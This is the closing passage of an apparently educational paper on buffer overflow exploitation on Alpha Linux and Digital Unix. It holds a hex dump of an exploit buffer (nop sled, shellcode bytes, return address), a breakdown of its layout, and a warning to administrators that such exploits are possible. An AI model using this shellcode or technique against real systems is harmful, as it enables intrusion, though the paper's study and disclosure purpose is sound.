  685.    96  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  686.   112  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  687.   128  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  688.   144  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  689.   160  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  690.   176  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  691.   192  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  692.   208  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  693.   224  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  694.   240  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  695.   256  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  696.   272  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  697.   288  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  698.   304  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  699.   320  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  700.   336  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  701.   352  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  702.   368  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  703.   384  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  704.   400  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  705.   416  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  706.   432  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  707.   448  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  708.   464  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  709.   480  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  710.   496  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  711.   512  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  712.   528  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  713.   544  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  714.   560  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  715.   576  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  716.   592  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  717.   608  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  718.   624  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  719.   640  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  720.   656  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  721.   672  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  722.   688  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  723.   704  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  724.   720  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  725.   736  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  726.   752  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  727.   768  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  728.   784  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  729.   800  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  730.   816  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  731.   832  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  732.   848  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  733.   864  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  734.   880  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  735.   896  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  736.   912  04 ff 47 30 15 d9 43 11 74 f0 47 12 14 02 42 fc      ..G0..C.t.G...B.
  737.   928  ff 32 b2 12 94 09 42 fc ff 32 b2 ff 47 3f 26 1f      .2....B..2..G?&.
  738.   944  04 31 22 fc ff 30 b2 f7 ff 1f d2 10 04 ff 47 11      .1"..0........G.
  739.   960  14 e3 43 20 35 20 42 ff ff ff ff 30 15 d9 43 31      ..C 5 B....0..C1
  740.   976  15 d8 43 12 04 ff 47 40 ff 1e b6 48 ff fe b7 98      ..C...G@...H....
  741.   992  ff 7f 26 d0 8c 73 22 13 05 f3 47 3c ff 7e b2 69      ..&..s"...G<.~.i
  742.  1008  6e 7f 26 2f 62 73 22 38 ff 7e b2 13 94 e7 43 20      n.&/bs"8.~....C 
  743.  1024  35 60 42 ff ff ff ff 30 f5 ff 1f 01                  5`B....0....    
  744.  
  745. 0 ~ 2
  746.  The padding data. It's for alignment. 0, 1, 2, or 3 padding characters are
  747. needed to align the instructions.
  748. 3 ~ 914
  749.  nop instructions.
  750. 915 ~ 1030
  751.  shellcode.
  752. 1031 ~ 1038
  753.  return address. 0x000000001ffff530 ( "\x30\xf5\xff\x1f\x01\x00\x00\x00" )
  754. Don't worry about last three '\0' characters. Almost all cases the last
  755. three characters are '\0'.
  756. ----------------------------------------------------------------------------
  757.  
  758. 9. Buffer overflow exploit in the digital unix
  759.  The exploit code in this paper works well in the digital unix, too.
  760.  
  761. 10. Summary
  762.  This paper explain the buffer overflow exploit technique in the alpha linux.
  763. There are many administrators who doesn't worry about the buffer overflow bug
  764. because he(or she) administrates not intel x86 linux but alpha linux.
  765. In addition, some people think that the buffer overflow exploit is impossible
  766. in the alpha linux. However, it's possible.
  767.  DON'T BELIEVE THAT BUFFER OVERFLOW EXPLOIT IS IMPOSSIBLE IN THE ALPHA.
  768.  
  769.  
  770. 11. References
  771.  Alpha Architecture Handbook
  772.   http://ftp.digital.com/pub/Digital/info/semiconductor/literature/alphaahb.pdf
  773.  
  774. 12. Etc
  775.  Sorry for my poor English. :(
  776.  
  777.  Written by Taeho Oh ( ohhara@postech.edu )
  778. ----------------------------------------------------------------------------
  779. Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
  780. PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
  781. PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
  782. ----------------------------------------------------------------------------
  783.  
  784.  
  785.                  ------------------------------------------
  786.                  Special thanks to all of PLUS members. ^_^
  787.                  ------------------------------------------
  788.  
  789.  
  790.                         -----------------------------
  791.                         Special thanks to awkn`n. ^_^
  792.                         -----------------------------
  793.  
  794.  
  795.  
  796. -------------------------------------------------------------------------------
  797. -------------------------------------------------------------------------------
  798. -------------------------------------------------------------------------------